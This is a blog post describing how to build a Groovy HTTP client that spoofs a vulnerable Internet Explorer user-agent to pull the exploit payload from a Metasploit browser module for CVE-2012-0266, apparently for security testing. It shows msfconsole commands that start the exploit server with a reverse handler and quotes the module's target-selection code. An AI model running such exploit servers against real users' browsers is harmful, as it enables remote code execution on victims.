程式扎記: [Toolkit] MSFConsoleATF - SimpleHttpClient.groovy - CVE:2012-0266

標籤

2014年11月27日 星期四

[Toolkit] MSFConsoleATF - SimpleHttpClient.groovy - CVE:2012-0266

Preface 
Sometimes, the CVE is playing a role as HTTP server and the victim is the browser which visiting the malicious web site and download payload to execute. At this situation, you can leverage toolkit SimpleHttpClient.groovy to played as a browser. Here we will explain how to write a simple HTTP client to download the payload the metasploit framework. Here our target is CVE 2012-0266
Multiple stack-based buffer overflows in the NTR ActiveX control before 2.0.4.8 allow remote attackers to execute arbitrary code via
(1) a long bstrUrl parameter to the StartModule method,
(2) a long bstrParams parameter to the Check method, a long bstrUrl parameter to the
(3) Download or
(4) DownloadModule method during construction of a .ntr pathname, or a long bstrUrl parameter to the
(5) Download or
(6) DownloadModule method during construction of a URL.
Publish Date : 2012-01-14 Last Update Date : 2013-04-04

Exploit Script Analysis 
Before writing our http client script, first step is to analyze the exploit script and know what it is going to exploit. You can look for the script name by search cve from the msfconsole with below command: 
msf > search cve:2012-0266
...
exploit/windows/browser/ntr_activex_check_bof ...
...

Which means there should be an exploit script located at /usr/share/metasploit-framework/modules/exploit/windows/browser/ntr_activex_check_bof.rb

Let's open it and you can find out it includes below modules: 
  1. include Msf::Exploit::Remote::HttpServer::HTML  
  2. include Msf::Exploit::RopDb  
From here, we are clear to know that the exploit code is playing as an Http Server and wait for victim to connect. Most of the case, the exploit script will check "User-Agent" of the connecting victim. From module Msf::Exploit::Remote::HttpServer, it defines #on_request_uri(cli, request) ⇒ Object to handle every HTTP request from client side. So you can observer the code below inside this api to check whether the "User-Agent" is exploitable or not: 
  1. def on_request_uri(cli, request)  
  2.   agent = request.headers['User-Agent']  
  3.   print_status("User-agent: #{agent}")  
  4.   
  5.   my_target = get_target(agent)  
  6.   
  7.   # Avoid the attack if the victim doesn't have a setup we're targeting  
  8.   if my_target.nil?  
  9.     print_error("Browser not supported: #{agent}")  
  10.     send_not_found(cli)  
  11.     return  
  12.   end  
  13. ...  
  14. end  
From the #get_target(), we can know what kinds of "User-Agent" are exploitable: 
  1. def get_target(agent)  
  2.   #If the user is already specified by the user, we'll just use that  
  3.   return target if target.name != 'Automatic'  
  4.   if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
  5.     return targets[1] #IE 6 on Windows XP SP3  
  6.   elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
  7.     return targets[2] #IE 7 on Windows XP SP3  
  8.   elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
  9.     return targets[3] #IE 7 on Windows XP SP3  
  10.   elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/  
  11.     return targets[4] #IE 7 on Windows Vista SP2  
  12.   elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/  
  13.     return targets[5] #IE 7 on Windows Vista SP2  
  14.   elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/  
  15.     return targets[6] #IE 7 on Windows 7 SP1  
  16.   elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/  
  17.     return targets[7] #IE 7 on Windows 7 SP1  
  18.   else  
  19.     return nil  
  20.   end  
  21. end  
which means our HTTP client should simulate one of those "User-Agent". The rest code from #on_request_uri(cli, request) ⇒ Object is doing two things: 
1. Prepare the payload and use variable html to hold it.
2. Using #send_response(cli, body, headers = {}) ⇒ Object to send back the payload.

Writing Custom HttpClient Case 
Now we know the behavior of exploit script, to write our custom HttpClient Case, first we create a .groovy which extends DefaultHandler 
- CVE2012_0266_2.groovy (v1) 
  1. package ibm.iss.xf.tk.client.cve.http  
  2.   
  3. import org.apache.http.HttpResponse  
  4. import org.apache.http.client.methods.HttpGet  
  5. import org.apache.http.client.methods.HttpUriRequest  
  6.   
  7. class CVE2012_0266_2 extends DefaultHandler{  
  8.   
  9.     public CVE2012_0266_2(){}  
  10.       
  11.     /** 
  12.      * Callback of HTTP response. 
  13.      * @param request: Request of HTTP response 
  14.      * @param response: HTTP response 
  15.      * @param bodyBuf: Body buffer of HTTP response. 
  16.      * @return HttpUriRequest object - Next HTTP request. Null to stop framework. 
  17.      */   
  18.     @Override  
  19.     public HttpUriRequest handleCallback(HttpUriRequest request,  
  20.             HttpResponse response, StringBuffer bodyBuf)   
  21.     {  
  22.         // Based on HttpResponse from Server, customize our action here.   
  23.         return null;  
  24.     }  
  25. }  
Then we put this .groovy under path ./ibm/iss/xf/tk/client/cve/http/ from working place. Then we have to run the exploit script from msfconsole as server: 
msf exploit(ntr_activex_check_bof) > show options # Check necessary options to setup
msf exploit(ntr_activex_check_bof) > set SRVHOST 172.16.58.1 # Setup which IP to binding for the server
msf exploit(ntr_activex_check_bof) > run # Start the exploit server
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.10.47:4444
msf exploit(ntr_activex_check_bof) > [*] Using URL: http://172.16.58.1:8080/0qDJ348ofOgx/CkQ6q2Dtf0
[*] Server started.

The "172.16.58.1" should be the IP address which our case script can reach. From above message, we know "http://172.16.58.1:8080/0qDJ348ofOgx/CkQ6q2Dtf0" is the URL for use to browse from our case script. Let run case script through SimpleHttpClient
# java -cp "msfcwrapper.jar:libs/*:glibs/*" ibm.iss.xf.tk.client.SimpleHttpClient -i CVE2012_0266_2
-o: Output (e.g. Pcap file in tcpdump) (SINGLE)
-n: Network Interface (SINGLE)
-i: Case ID (SINGLE)
 *
-u: Seed URL (SINGLE) *
Here we use command argument "-i" to indicate the case script. From the message, we know that we miss a argument "-u" to give the seed URL generated from the exploit script. Let's complete the command this time: 
# java -cp "msfcwrapper.jar:libs/*:glibs/*" ibm.iss.xf.tk.client.SimpleHttpClient -i CVE2012_0266_2 --URL \
"http://172.16.58.1:8080/0qDJ348ofOgx/CkQ6q2Dtf0"

...
[Info] Sending request:
GET http://172.16.58.1:8080/0qDJ348ofOgx/CkQ6q2Dtf0 HTTP/1.1

[Info] HTTP Response:
===========================
Content-Type:text/html
Connection:Keep-Alive
Server:Apache
Content-Length:274
===========================
...
404 Not Found
...

It seems that the payload from exploit is not sent out. Let's check the msfconsole output: 
[-] 172.16.58.50 ntr_activex_check_bof - Browser not supported: Apache-HttpClient/4.2.1 (java 1.5)

Now it's clear that the reason is our "User-Agent" isn't exploitable. So we have to modify our case script to make it workable. Fortunately, the DefaultHandler has a field called headers (A hash table) which can be used to modify and customize our request header(s). Let's change our "User-Agent" from the constructor in our case script to be one of the exploitable target: 
- CVE2012_0266_2.groovy (v1) 
  1. ...  
  2. public CVE2012_0266_2()  
  3. {  
  4.     headers["User-Agent"]="NT 5.1 MSIE 6"  
  5. }  
  6. ...  
Let's run the case script again and this time we can collect the payload successfully and confirm it from the message of msfconsole: 
[*] 172.16.58.50 ntr_activex_check_bof - User-agent: NT 5.1 MSIE 6
[*] 172.16.58.50 ntr_activex_check_bof - Sending html << This is the payload we want!

If you want to save the payload into file, you can use API:savePayload(payload_namepayload_content). For example: 
- CVE2012_0266_2.groovy (v3) 
  1. @Override  
  2. public HttpUriRequest handleCallback(HttpUriRequest request,  
  3.         HttpResponse response, StringBuffer bodyBuf)   
  4. {  
  5.     savePayload("payload_name", bodyBuf.toString())  
  6. }  
The payload will be saved into folder payloads under execution path.

沒有留言:

張貼留言

網誌存檔

關於我自己

我的相片
Where there is a will, there is a way!